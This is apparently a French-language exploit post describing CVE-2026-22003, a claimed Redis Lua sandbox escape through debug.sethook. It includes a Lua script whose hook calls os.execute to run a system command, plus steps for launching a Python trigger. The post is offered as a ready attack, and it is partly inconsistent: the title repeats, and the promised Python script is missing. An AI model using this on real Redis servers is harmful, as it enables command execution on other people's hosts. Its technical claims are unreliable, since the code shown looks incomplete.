CVE-2026-22003 – Évasion de la sandbox Lua de Redis via debug.sethook

Code du programme (déclencheur Lua + Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Évasion de la sandbox Lua de Redis via debug.sethook

Vue d'ensemble

La sandbox Lua de Redis ne désactive pas correctement la fonction debug.sethook. Un attaquant capable d'exécuter des scripts Lua peut installer un hook qui s'exécute dans un contexte privilégié et s'échapper de la sandbox pour exécuter des commandes système arbitraires.

Détails de la vulnérabilité

• Type: Évasion de la sandbox
• Impact: Exécution de code à distance sur l'hôte Redis.
• Cause racine: La bibliothèque de débogage de l'environnement Lua reste accessible, permettant aux hooks d'appeler os.execute ou des fonctions similaires.

Démonstration de l'exploit

1. Démarrez un serveur Redis (avec la configuration par défaut qui autorise EVAL).
2. Exécutez l'exploit :
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

Le fichier /tmp/redis_escape est créé, ce qui prouve l'exécution de commandes.